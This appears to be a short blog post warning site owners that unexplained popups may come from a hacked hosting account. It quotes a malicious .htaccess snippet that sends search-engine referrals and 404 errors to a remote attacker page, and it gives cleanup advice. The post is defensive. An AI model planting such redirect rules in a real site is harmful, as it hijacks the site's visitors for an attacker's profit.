You see popups in your website and don't know how they start to appear. If you have a hosting account you should investigate your code and .htaccess file. Some type of black hackers own hosting accounts and put code on .htaccess file to get money from the traffic.

If you have a code on .htaccess file like this:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://xxx.xxx.xxx.xx/in.html?s=hg [R,L]
Errordocument 404 http://xx.xxx.xxx.xx/in.html?s=hg_err

Your account should be hacked and you need to change access password, scan the computers where do you access from and contact yous hosting provider sysadmin.

Hope this post help you if you get in trouble.
